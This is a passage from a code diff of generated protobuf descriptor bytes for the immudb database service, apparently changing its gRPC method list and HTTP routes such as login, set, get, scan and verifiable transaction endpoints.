0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, - 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, - 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, - 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, - 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, - 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, - 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, - 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, - 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, - 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x00, 0x12, 0x4d, 0x0a, 0x0a, 0x54, 0x78, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x12, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, + 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x00, 0x12, 0x5d, 0x0a, 0x05, 0x4c, 0x6f, 0x67, 0x69, 0x6e, + 0x12, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, + 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x19, 0x88, 0x02, 0x01, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x4f, 0x0a, 0x06, 0x4c, 0x6f, 0x67, 0x6f, 0x75, 0x74, + 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, + 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, - 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, - 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x73, 0x0a, - 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42, 0x79, 0x49, - 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, - 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, - 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x53, - 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c, 0x69, 0x73, - 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x22, 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, - 0x78, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, - 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, - 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x6b, - 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, + 0x22, 0x15, 0x88, 0x02, 0x01, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x6c, 0x6f, + 0x67, 0x6f, 0x75, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x53, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, - 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, - 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, - 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x55, 0x0a, 0x06, 0x48, - 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x48, 0x65, - 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, - 0x62, 0x00, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, - 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, - 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x5d, 0x0a, 0x0c, - 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, - 0x61, 0x74, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, - 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x92, 0x41, 0x02, 0x62, 0x00, 0x12, 0x65, 0x0a, 0x0c, 0x53, - 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65, 0x66, 0x65, - 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, - 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x22, 0x10, 0x2f, - 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, - 0x01, 0x2a, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x29, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, - 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x22, 0x07, 0x2f, 0x64, 0x62, 0x2f, + 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x70, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, + 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x73, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x4d, 0x0a, 0x03, 0x47, 0x65, 0x74, 0x12, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, + 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d, 0x56, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x22, 0x1b, 0x2f, - 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x65, - 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x50, 0x0a, - 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, - 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0d, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x3a, 0x01, 0x2a, 0x12, - 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, - 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41, 0x64, 0x64, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, + 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x1d, 0x82, + 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x22, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, + 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x5a, 0x0a, 0x06, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x4b, 0x65, 0x79, + 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x64, + 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, + 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, + 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x22, 0x0b, 0x2f, 0x64, 0x62, + 0x2f, 0x65, 0x78, 0x65, 0x63, 0x61, 0x6c, 0x6c, 0x3a, 0x01, 0x2a, 0x12, 0x4f, 0x0a, 0x04, 0x53, + 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x22, + 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x63, 0x61, 0x6e, 0x3a, 0x01, 0x2a, 0x12, 0x58, 0x0a, 0x05, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, + 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53, 0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, + 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, + 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, + 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, + 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, + 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 